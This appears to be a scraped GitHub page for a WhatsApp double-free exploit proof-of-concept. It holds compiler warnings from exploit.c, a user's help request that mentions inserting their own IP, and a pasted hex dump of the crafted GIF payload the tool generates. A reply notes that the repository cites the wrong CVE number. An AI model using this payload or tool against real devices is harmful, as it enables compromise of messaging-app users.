projectorbug / cve-2020-11932 Goto Github PK
View Code? Open in Web Editor NEWDouble-Free BUG in WhatsApp exploit poc.
License: MIT License
Double-Free BUG in WhatsApp exploit poc.
License: MIT License
gcc -o exploit egif_lib.c exploit.c
exploit.c: In function ‘get_hex’:
exploit.c:18:13: warning: implicit declaration of function ‘snprintf’ [-Wimplicit-function-declaration]
18 | snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff);
| ^~~~~~~~
exploit.c:18:13: warning: incompatible implicit declaration of built-in function ‘snprintf’
exploit.c:2:1: note: include ‘<stdio.h>’ or provide a declaration of ‘snprintf’
1 | #include "gif_lib.h"
+++ |+#include <stdio.h>
2 |
exploit.c:24:13: warning: incompatible implicit declaration of built-in function ‘snprintf’
24 | snprintf(hex_, hex_len, "\n");
| ^~~~~~~~
exploit.c:24:13: note: include ‘<stdio.h>’ or provide a declaration of ‘snprintf’
exploit.c: In function ‘genLine_0’:
exploit.c:59:5: warning: implicit declaration of function ‘memcpy’ [-Wimplicit-function-declaration]
59 | memcpy(buffer, hexData, sizeof(hexData));
| ^~~~~~
exploit.c:59:5: warning: incompatible implicit declaration of built-in function ‘memcpy’
exploit.c:2:1: note: include ‘<string.h>’ or provide a declaration of ‘memcpy’
1 | #include "gif_lib.h"
+++ |+#include <string.h>
2 |
exploit.c:74:34: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration]
74 | memcpy(buffer + 32, command, strlen(command));
| ^~~~~~
exploit.c:74:34: warning: incompatible implicit declaration of built-in function ‘strlen’
exploit.c:74:34: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
exploit.c: In function ‘main’:
exploit.c:116:5: warning: incompatible implicit declaration of built-in function ‘memcpy’
116 | memcpy(buffer + size, starting, sizeof(starting));
| ^~~~~~
exploit.c:116:5: note: include ‘<string.h>’ or provide a declaration of ‘memcpy’
exploit.c:137:5: warning: implicit declaration of function ‘printf’ [-Wimplicit-function-declaration]
137 | printf("buffer = %p size = %d\n%s\n", buffer, size, hex_dump);
| ^~~~~~
exploit.c:137:5: warning: incompatible implicit declaration of built-in function ‘printf’
exploit.c:137:5: note: include ‘<stdio.h>’ or provide a declaration of ‘printf’
i put my ip in exploit.c and run commands as steps said then i get this and i cant find gif file can you help please
root@kali:~/tools/social_engineering/CVE-2020-11932# gcc -o exploit egif_lib.c exploit.c
exploit.c: In function ‘get_hex’:
exploit.c:18:13: warning: implicit declaration of function ‘snprintf’ [-Wimplicit-function-declaration]
18 | snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff);
| ^~~~~~~~
exploit.c:18:13: warning: incompatible implicit declaration of built-in function ‘snprintf’
exploit.c:2:1: note: include ‘<stdio.h>’ or provide a declaration of ‘snprintf’
1 | #include "gif_lib.h"
+++ |+#include <stdio.h>
2 |
exploit.c:24:13: warning: incompatible implicit declaration of built-in function ‘snprintf’
24 | snprintf(hex_, hex_len, "\n");
| ^~~~~~~~
exploit.c:24:13: note: include ‘<stdio.h>’ or provide a declaration of ‘snprintf’
exploit.c: In function ‘genLine_0’:
exploit.c:59:5: warning: implicit declaration of function ‘memcpy’ [-Wimplicit-function-declaration]
59 | memcpy(buffer, hexData, sizeof(hexData));
| ^~~~~~
exploit.c:59:5: warning: incompatible implicit declaration of built-in function ‘memcpy’
exploit.c:2:1: note: include ‘<string.h>’ or provide a declaration of ‘memcpy’
1 | #include "gif_lib.h"
+++ |+#include <string.h>
2 |
exploit.c:74:34: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration]
74 | memcpy(buffer + 32, command, strlen(command));
| ^~~~~~
exploit.c:74:34: warning: incompatible implicit declaration of built-in function ‘strlen’
exploit.c:74:34: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
exploit.c: In function ‘main’:
exploit.c:116:5: warning: incompatible implicit declaration of built-in function ‘memcpy’
116 | memcpy(buffer + size, starting, sizeof(starting));
| ^~~~~~
exploit.c:116:5: note: include ‘<string.h>’ or provide a declaration of ‘memcpy’
exploit.c:137:5: warning: implicit declaration of function ‘printf’ [-Wimplicit-function-declaration]
137 | printf("buffer = %p size = %d\n%s\n", buffer, size, hex_dump);
| ^~~~~~
exploit.c:137:5: warning: incompatible implicit declaration of built-in function ‘printf’
exploit.c:137:5: note: include ‘<stdio.h>’ or provide a declaration of ‘printf’
root@kali:~/tools/social_engineering/CVE-2020-11932# ./e
egif_lib.c exploit exploit.c
root@kali:~/tools/social_engineering/CVE-2020-11932# ./exploit
buffer = 0x7fff2c187f50 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
Hello, CVE-2020-11932 is unrelated to whatsapp or libpl_droidsonroids_gif.
You probably meant to use CVE-2019-11932.
Thanks
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.